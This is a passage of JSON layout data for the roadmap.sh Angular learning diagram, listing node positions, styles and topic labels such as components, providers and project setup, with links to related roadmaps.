-54.743326638756685,\n        \"y\": 1668.2304293708294\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 96\n      }\n    },\n    {\n      \"id\": \"rBi1Oj1pqcnIy5yMMxLyw\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -123.95968546864992,\n        \"y\": 1668.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"rWLm26RwXHFpQhglgrfuV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 96,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 96\n      },\n      \"positionAbsolute\": {\n        \"x\": -123.95968546864992,\n        \"y\": 1668.2304293708294\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 96\n      }\n    },\n    {\n      \"id\": \"rWLm26RwXHFpQhglgrfuV\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": 1668.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 96,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 96\n      },\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": 1668.2304293708294\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 96\n      }\n    },\n    {\n      \"id\": \"vcAUSj5KcbBngENQMoClO\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": 1466.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 202,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 202\n      },\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": 1466.2304293708294\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 202\n      }\n    },\n    {\n      \"id\": \"Ew6DgOvx6gtifE9v4YPkP\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 324.86672552017467,\n        \"y\": 1719.43042937083\n      },\n      \"width\": 211,\n      \"height\": 249,\n      \"style\": {\n        \"width\": 211,\n        \"height\": 249\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": 324.86672552017467,\n        \"y\": 1719.43042937083\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 211,\n        \"height\": 249\n      }\n    },\n    {\n      \"id\": \"mXjsmjZhHgpTL8oeDQext\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -366.3084777160734,\n        \"y\": 1278.2304293708294\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"kW2pkUmw72aKIjGbizdmG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 188,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 188\n      },\n      \"positionAbsolute\": {\n        \"x\": -366.3084777160734,\n        \"y\": 1278.2304293708294\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 188\n      }\n    },\n    {\n      \"id\": \"kW2pkUmw72aKIjGbizdmG\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 352.54484613528683,\n        \"y\": 1097.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"DNz-gFjc4Ow3TL_EY_NAH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 188,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 188\n      },\n      \"positionAbsolute\": {\n        \"x\": 352.54484613528683,\n        \"y\": 1097.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 188\n      }\n    },\n    {\n      \"id\": \"DNz-gFjc4Ow3TL_EY_NAH\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 351.3414717224867,\n        \"y\": 817.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 92,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 92\n      },\n      \"positionAbsolute\": {\n        \"x\": 351.3414717224867,\n        \"y\": 817.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 92\n      }\n    },\n    {\n      \"id\": \"gbSGghXE--4z479PIE57p\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 421.25667336124326,\n        \"y\": 454.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 62,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 62\n      },\n      \"positionAbsolute\": {\n        \"x\": 421.25667336124326,\n        \"y\": 454.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 62\n      }\n    },\n    {\n      \"id\": \"xVapQFT9sTIPdeCXYD_lw\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -145.63327447982533,\n        \"y\": 753.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"YlxsmpEKCKm2_jXHT5fux\"\n      },\n      \"zIndex\": 999,\n      \"width\": 53,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 53,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -145.63327447982533,\n        \"y\": 753.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 53,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"YlxsmpEKCKm2_jXHT5fux\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 129.04484613528683,\n        \"y\": 618.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"N3xAkfwQ-q0f_JEjKDQcO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 129.04484613528683,\n        \"y\": 618.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"CshWtCCFHbYXtztr-2iU1\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -340.63327447982533,\n        \"y\": 765.2304293708296\n      },\n      \"width\": 204,\n      \"height\": 296,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -340.63327447982533,\n        \"y\": 765.2304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 296\n      }\n    },\n    {\n      \"id\": \"FTLS0mwJhuqsEHen7mqbk\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -522.2433266387567,\n        \"y\": 763.7304293708296\n      },\n      \"width\": 185,\n      \"height\": 298,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 298\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -522.2433266387567,\n        \"y\": 763.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 298\n      }\n    },\n    {\n      \"id\": \"t6zZwKzPHXT57Uqj4R2aI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -99.73327447982547,\n        \"y\": 596.7304293708296\n      },\n      \"width\": 226,\n      \"height\": 302,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 302\n      },\n      \"selected\": false,\n      \"data\": {},\n      \"positionAbsolute\": {\n        \"x\": -99.73327447982547,\n        \"y\": 596.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 302\n      }\n    },\n    {\n      \"id\": \"N3xAkfwQ-q0f_JEjKDQcO\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -238.74332663875668,\n        \"y\": 355.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 185,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": -238.74332663875668,\n        \"y\": 355.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"HLnq8xMeb0NwnkVUtcFMj\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -521.7433266387567,\n        \"y\": 480.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 284,\n      \"height\": 124,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 124\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.7433266387567,\n        \"y\": 480.2304293708296\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 124\n      }\n    },\n    {\n      \"width\": 138,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -61.45968546864998,\n        \"y\": -160.28400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Angular\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -61.45968546864998,\n        \"y\": -160.28400721142515\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 76,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -2.9596854686499796,\n        \"y\": -230.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -2.9596854686499796,\n        \"y\": -230.76957062917046\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 76\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 76\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 364,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 364,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 364,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 340,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 340,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 340,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -247.16916540260297,\n        \"y\": 3405.6464601414127\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -247.16916540260297,\n        \"y\": 3405.6464601414127\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 563,\n      \"height\": 119,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -518.169165402603,\n        \"y\": 3315.130494860985\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -518.169165402603,\n        \"y\": 3315.130494860985\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 563,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 563,\n        \"height\": 119\n      }\n    },\n    {\n      \"width\": 127,\n      \"height\": 49,\n      \"id\": \"ZSrQoNGKiR484uALMWO9F\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -199.49114007976596,\n        \"y\": 3373.8197767726365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript\",\n        \"href\": \"https://roadmap.sh/typescript\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -199.49114007976596,\n        \"y\": 3373.8197767726365\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 127,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 116,\n      \"height\": 49,\n      \"id\": \"P5IZjP0g1_fnvHy3YTR4q\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -506.49114007976596,\n        \"y\": 3373.8197767726365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -506.49114007976596,\n        \"y\": 3373.8197767726365\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 116,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 92,\n      \"height\": 49,\n      \"id\": \"U0fJo2a3vnaodNJhfZ78I\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -387.49114007976596,\n        \"y\": 3373.8197767726365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React\",\n        \"href\": \"https://roadmap.sh/react\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"P5IZjP0g1_fnvHy3YTR4q\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -387.49114007976596,\n        \"y\": 3373.8197767726365\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 92,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 103,\n      \"height\": 49,\n      \"id\": \"iuSv7V59YxUZawN38Qlli\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -69.49114007976596,\n        \"y\": 3373.8197767726365\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Node.js\",\n        \"href\": \"https://roadmap.sh/nodejs\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"ZSrQoNGKiR484uALMWO9F\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -69.49114007976596,\n        \"y\": 3373.8197767726365\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DAwKHBng7Tytlcd2_8GOR\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -112.95968546864998,\n        \"y\": -32.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript Roadmap\",\n        \"href\": \"https://roadmap.sh/javascript\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"R_Fs6rdl2XtQ9aLOubMqL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -112.95968546864998,\n        \"y\": -32.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KDd40JOAvZ8O1mfhTYB3K\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -112.95968546864998,\n        \"y\": 67.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Introduction to Angular\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -112.95968546864998,\n        \"y\": 67.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DE3cMpeRYuUPw2ADtfS-3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 271.2566733612433,\n        \"y\": 67.21599278857485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Angular Architecture\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 271.2566733612433,\n        \"y\": 67.21599278857485\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EbFRcy4s6yzzIApBqU77Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 271.2566733612433,\n        \"y\": 120.21599278857485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Setting up a New Project\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 271.2566733612433,\n        \"y\": 120.21599278857485\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hpShWwL0M57ZAzqkB4I8t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 271.2566733612433,\n        \"y\": 14.215992788574852\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Angular and History\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"DE3cMpeRYuUPw2ADtfS-3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 271.2566733612433,\n        \"y\": 14.215992788574852\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zv1y-I1fIEXtTkb8tOQU0\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -112.95968546864998,\n        \"y\": 198.21599278857485\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Learn TypeScript Basics\",\n        \"href\": \"https://roadmap.sh/typescript\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"DAwKHBng7Tytlcd2_8GOR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -112.95968546864998,\n        \"y\": 198.21599278857485\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kGnKzCkQCNFEdgCBRtNuW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -112.95968546864998,\n        \"y\": 341.2304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 241,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -112.95968546864998,\n        \"y\": 341.2304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Mp056kNnwsRWeEXuhGPy-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -521.2433266387567,\n        \"y\": -60.284007211425205\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Component Anatomy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 282,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 282,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -521.2433266387567,\n        \"y\": -60.284007211425205\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 282,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dOMvz__EQjO-3p-Nzm-7P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -379.3084777160734,\n        \"y\": 213.47156717238613\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Provider\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": -379.3084777160734,\n        \"y\": 213.47156717238613\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 132\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uYHy2yhtTm6fQkKpYx3lU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.5993272119424,\n        